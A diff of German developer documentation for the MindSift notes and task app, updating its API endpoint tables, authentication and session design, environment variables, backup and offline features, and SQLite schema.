| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode`, SMTP-Felder |
|
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
|
||||||
|
| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
|
||||||
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
|
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
|
||||||
|
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
|
||||||
|
| GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
|
||||||
|
|
||||||
## Beispiele
|
## Beispiele
|
||||||
|
|
||||||
@@ -155,6 +204,11 @@ curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
|
|||||||
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
|
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
|
||||||
-d '{"title":"Milch kaufen #einkauf","priority":"high","dueDate":"2026-11-01"}'
|
-d '{"title":"Milch kaufen #einkauf","priority":"high","dueDate":"2026-11-01"}'
|
||||||
|
|
||||||
|
# Einkaufsliste per API-Key ergänzen (Scope webhook:list)
|
||||||
|
curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
|
||||||
|
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
|
||||||
|
-d '{"target":"list_item","listId":"lst_…","content":"Hafermilch","quantity":"2"}'
|
||||||
|
|
||||||
# Aufgabenliste nur lesend freigeben
|
# Aufgabenliste nur lesend freigeben
|
||||||
curl -X POST https://mindsift.example.com/api/v1/task-lists/tkl_…/shares \
|
curl -X POST https://mindsift.example.com/api/v1/task-lists/tkl_…/shares \
|
||||||
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
|
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ Der Client versucht zuerst WebSocket und wechselt in folgenden Fällen für die
|
|||||||
|
|
||||||
Ohne WebSocket und SSE nutzt die Notiz-Synchronisation Long-Polling (`GET /docs/{id}/changes`, bis 25 s), und wenn auch das dreimal scheitert, eine Abfrage alle 3 s (siehe [modules/workspace.md](../modules/workspace.md)).
|
Ohne WebSocket und SSE nutzt die Notiz-Synchronisation Long-Polling (`GET /docs/{id}/changes`, bis 25 s), und wenn auch das dreimal scheitert, eine Abfrage alle 3 s (siehe [modules/workspace.md](../modules/workspace.md)).
|
||||||
|
|
||||||
**Authentifizierung:** Token als `?token=<JWT|API-Key>` oder `Authorization`-Header. Ohne gültiges Token antworten `/ws` und `/events` mit `401`. Das Token wird nur beim Verbinden geprüft ([FLAW-22](../flaws.md)).
|
**Authentifizierung:** Browser holen sich direkt vor dem Verbinden ein Einmal-Ticket (`POST /auth/stream-ticket` mit dem normalen `Authorization`-Header → `{ticket, expiresIn: 60}`) und hängen es als `?ticket=` an; es gilt 60 Sekunden und einmal und wird ungültig, sobald alle Sitzungen beendet werden. Andere Clients dürfen stattdessen den `Authorization`-Header schicken. Sitzungs-Tokens in der URL und API-Keys werden nicht angenommen (`401`). Bei Logout, „Alle Sitzungen beenden“, neuem Passwort und Deaktivierung trennt der Server alle Streams des Kontos; Clients mit gültiger Sitzung verbinden sich mit neuem Ticket neu. Mit gesetzter `BASE_URL` nimmt der WebSocket nur Verbindungen von dieser Adresse oder vom angefragten Host an.
|
||||||
|
|
||||||
**Räume:** Jeder Beitritt (Raum in der URL, `JOIN_ROOM`, SSE-Startparameter `rooms`/`docId`, `POST /events/rooms`) wird geprüft: `doc:<id>` nur mit Lesezugriff auf die Notiz, sonst muss die ID eine lesbare geteilte Liste sein. Nicht erlaubte Räume werden ignoriert, `POST /events/rooms` antwortet dann mit `403`. SSE-Räume kann nur der Besitzer der jeweiligen `sseId` ändern.
|
**Räume:** Jeder Beitritt (Raum in der URL, `JOIN_ROOM`, SSE-Startparameter `rooms`/`docId`, `POST /events/rooms`) wird geprüft: `doc:<id>` nur mit Lesezugriff auf die Notiz, sonst muss die ID eine lesbare geteilte Liste sein. Nicht erlaubte Räume werden ignoriert, `POST /events/rooms` antwortet dann mit `403`. SSE-Räume kann nur der Besitzer der jeweiligen `sseId` ändern.
|
||||||
|
|
||||||
|
|||||||
@@ -30,8 +30,8 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
|
|||||||
| Pfad | Inhalt |
|
| Pfad | Inhalt |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `cmd/server/` | `main.go`, eingebettetes `dist/` |
|
| `cmd/server/` | `main.go`, eingebettetes `dist/` |
|
||||||
| `internal/api/` | `server.go` (Routen, Handler, Alarm-Ticker, SMTP/Discord/Webhook-Versand) |
|
| `internal/api/` | `server.go` (Server, Router mit allen Routen, Middleware, JSON-Helfer); Handler nach Bereich in `handlers_*.go` (`auth`, `account`, `thoughts`, `documents`, `folders`, `lists`, `tasklists`, `teams`, `admin`, `integrations`), `realtime.go` (WebSocket/SSE), `alarms.go` (Ticker und Versand), `docsync.go`, `mail.go`, `netguard.go`, `password_reset.go` |
|
||||||
| `internal/storage/` | `sqlite.go` (Schema, Migrationen, gesamte Datenlogik) |
|
| `internal/storage/` | `sqlite.go` (Store, Schema, Migrationen); Datenlogik nach Bereich: `users.go`, `apikeys.go`, `thoughts.go` (inkl. Alarme), `tasklists.go`, `documents.go`, `folders.go`, `tags.go`, `lists.go`, `teams.go`, `system.go` (Einstellungen, Statistik, Export), dazu `visibility.go`, `docsync.go`, `search.go`, `trash.go`, `backlinks.go`, `recurrence.go` u. a. |
|
||||||
| `internal/domain/` | Strukturen (`models.go`), ID-Erzeugung, Tag-Extraktion |
|
| `internal/domain/` | Strukturen (`models.go`), ID-Erzeugung, Tag-Extraktion |
|
||||||
| `internal/ws/` | `hub.go` |
|
| `internal/ws/` | `hub.go` |
|
||||||
| `internal/collab/` | Kern der Notiz-Synchronisation ohne Datenbank: Blockbaum, Operationen und Konfliktregeln, Sortierschlüssel, Leases, Long-Poll-Benachrichtigung |
|
| `internal/collab/` | Kern der Notiz-Synchronisation ohne Datenbank: Blockbaum, Operationen und Konfliktregeln, Sortierschlüssel, Leases, Long-Poll-Benachrichtigung |
|
||||||
@@ -58,26 +58,36 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
|
|||||||
| `PORT` | `8080` | HTTP-Port |
|
| `PORT` | `8080` | HTTP-Port |
|
||||||
| `DATA_DIR` | `./data` (Container: `/data`) | Verzeichnis der Datenbank |
|
| `DATA_DIR` | `./data` (Container: `/data`) | Verzeichnis der Datenbank |
|
||||||
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
|
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
|
||||||
| `JWT_SECRET` | festes Fallback (unsicher!) | Signaturschlüssel der Tokens; unbedingt setzen, siehe [FLAW-04](flaws.md) |
|
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
|
||||||
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz |
|
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
|
||||||
|
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
|
||||||
|
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
|
||||||
|
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
|
||||||
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
|
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
|
||||||
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
|
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
|
||||||
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
|
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`) |
|
||||||
|
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
|
||||||
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
|
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
|
||||||
|
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
|
||||||
|
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
|
||||||
|
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
|
||||||
|
|
||||||
Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert.
|
Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert.
|
||||||
|
|
||||||
## Authentifizierung
|
## Authentifizierung
|
||||||
|
|
||||||
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
|
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
|
||||||
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
|
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
|
||||||
- **Logout** schreibt den Token-Hash in `revoked_tokens`.
|
- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
|
||||||
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und authentifiziert als Besitzer ([FLAW-07](flaws.md)).
|
- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
|
||||||
|
- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
|
||||||
|
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`.
|
||||||
|
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
|
||||||
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
|
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
|
||||||
|
|
||||||
## Hintergrundjob: Alarme
|
## Hintergrundjob: Alarme
|
||||||
|
|
||||||
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist `due_date <= heute` (Serverzeit), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Details und Einschränkungen: [modules/tasks.md](modules/tasks.md), [FLAW-12](flaws.md).
|
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
|
||||||
|
|
||||||
## Hintergrundjob: Verdichtung der Notiz-Synchronisation
|
## Hintergrundjob: Verdichtung der Notiz-Synchronisation
|
||||||
|
|
||||||
@@ -91,8 +101,45 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift (
|
|||||||
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
|
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
|
||||||
```
|
```
|
||||||
|
|
||||||
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht.
|
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
|
||||||
|
|
||||||
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
|
**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
|
||||||
|
|
||||||
|
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
|
||||||
|
|
||||||
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
|
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
|
||||||
|
|
||||||
|
## Hintergrundjob: Backups
|
||||||
|
|
||||||
|
[backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
|
||||||
|
- `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
|
||||||
|
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto.
|
||||||
|
- Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
|
||||||
|
- Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
|
||||||
|
|
||||||
|
## Offline (PWA)
|
||||||
|
|
||||||
|
- **Service Worker** ([public/sw.js](../frontend/public/sw.js)): Seitenaufrufe Network-First mit der zuletzt geladenen `index.html` als Rückfall, Bundles unter `/assets/` (Hash im Namen) aus dem Cache, Icons und Manifest Stale-While-Revalidate. API-Anfragen fasst er nie an. Alte Caches verschwinden beim Aktivieren einer neuen `VERSION`, Bundles sind auf 80 Einträge begrenzt.
|
||||||
|
- **Lese-Cache** ([lib/offline.ts](../frontend/src/lib/offline.ts)): Jede erfolgreiche GET-Antwort landet pro Benutzer in IndexedDB (`mindsift-offline`). Ohne Verbindung liefert `request()` die letzte bekannte Antwort; so startet die App offline angemeldet und zeigt Gedanken, Aufgaben und Listen. Ausgenommen: Streams, Long-Polling, Notiz-Sync (eigener Speicher, [modules/collaboration.md](modules/collaboration.md)), Export, Suche. Abmelden leert Cache und Warteschlange.
|
||||||
|
- **Warteschlange (Outbox):** Offline erfasste Gedanken (`POST /inbox`) und abgehakte Aufgaben bzw. Listeneinträge (`PATCH`) werden in `localStorage` gesammelt, wiederholtes Umschalten zählt nur mit dem Endstand. Gesendet wird in Reihenfolge beim `online`-Ereignis, beim Start und alle 30 s, solange etwas wartet; vom Server abgelehnte Einträge (4xx) entfallen. Andere Änderungen brauchen weiterhin eine Verbindung.
|
||||||
|
- **Hinweis:** Ein Banner über der unteren Navigation zeigt „Offline“ und die Zahl wartender Änderungen bzw. „Synchronisiere…“.
|
||||||
|
|
||||||
|
## App-Icons, PWA & Social-Preview (Open Graph)
|
||||||
|
|
||||||
|
MindSift verwendet plattformübergreifend ein einheitliches App-Icon-Design, das exakt dem Icon im Kopfbereich der mobilen App entspricht:
|
||||||
|
- **Design & Geometrie:** Sanft abgerundetes Quadrat (`rx=108` auf 512x512 Canvas bzw. `rounded-xl`), Primärblau (`--accent-primary: #2563eb`) als Hintergrund und zentriertes Lucide Brain Icon in reinem Weiß (`--text-on-accent: #ffffff`).
|
||||||
|
|
||||||
|
### Asset-Matrix (`frontend/public/`)
|
||||||
|
|
||||||
|
| Datei | Zweck & Zielplattform | Besonderheit |
|
||||||
|
|---|---|---|
|
||||||
|
| `icon.svg` | Modernes Standard-Icon & SVG-Favicon | Vektor-Original mit abgerundeten Ecken |
|
||||||
|
| `icon-192x192.png`, `icon-512x512.png` | PWA-Installation (`purpose: "any"`), Desktop Linux/Windows | Erforderlich für Chromium unter Linux (erzeugt sonst kein `.desktop`-Icon) |
|
||||||
|
| `icon-maskable-192x192.png`, `icon-maskable-512x512.png`, `icon-maskable.svg` | Android Adaptive Icons (`purpose: "maskable"`) | Full-Bleed Hintergrund (`#2563eb`) ohne transparente Ecken, Brain im 80%-Sicherheitsbereich |
|
||||||
|
| `apple-touch-icon.png` (180x180) | iOS Safari („Zum Home-Bildschirm“) | Opaker Hintergrund verhindert schwarze Ränder beim automatischen Apple-Squircle-Maskieren |
|
||||||
|
| `favicon.ico`, `favicon-32x32.png`, `favicon-16x16.png` | Browser-Tabs, Lesezeichen, Chronik | Multi-Resolution-ICO (16/32/48) für alle Desktop-Browser |
|
||||||
|
| `og-image.png` (1200x630), `og-image-square.png` (512x512) | Link-Vorschau in WhatsApp, Discord, Telegram, X/Twitter | Dunkler `#0b0f19`-Hintergrund mit Icon & Claim; Datei-Größe < 120 KB (WhatsApp-Limit < 300 KB) |
|
||||||
|
|
||||||
|
### Dynamische OpenGraph-URL-Injektion
|
||||||
|
|
||||||
|
Messenger-Crawler (insbesondere WhatsApp) werten relative Bild-URLs in `og:image` oft nicht korrekt aus. Der Go-SPA-Handler in [`internal/api/server.go`](../internal/api/server.go) ersetzt beim Ausliefern von `index.html` automatisch relative Pfade (`/og-image.png`, `og:url`) durch die absolute Server-Origin (`scheme://host`), ermittelt über `X-Forwarded-Proto` und `X-Forwarded-Host` bzw. `req.Host`.
|
||||||
@@ -1,25 +1,27 @@
|
|||||||
# Datenbank
|
# Datenbank
|
||||||
|
|
||||||
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
|
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
|
||||||
|
|
||||||
Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist veraltet ([FLAW-13](flaws.md)).
|
|
||||||
|
|
||||||
## Tabellen
|
## Tabellen
|
||||||
|
|
||||||
### Benutzer und Zugang
|
### Benutzer und Zugang
|
||||||
| Tabelle | Zweck | Wichtige Spalten |
|
| Tabelle | Zweck | Wichtige Spalten |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url` |
|
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) |
|
||||||
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `team_id`, `expires_at`, `used_by` |
|
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
|
||||||
| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` |
|
| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
|
||||||
|
| `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
|
||||||
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
|
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
|
||||||
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
|
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
|
||||||
|
|
||||||
### Gedanken und Aufgaben
|
### Gedanken und Aufgaben
|
||||||
| Tabelle | Zweck | Wichtige Spalten |
|
| Tabelle | Zweck | Wichtige Spalten |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (nur Datum), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
|
| `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
|
||||||
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `team_id` (Altfeld), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
|
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
|
||||||
|
| `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
|
||||||
|
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
|
||||||
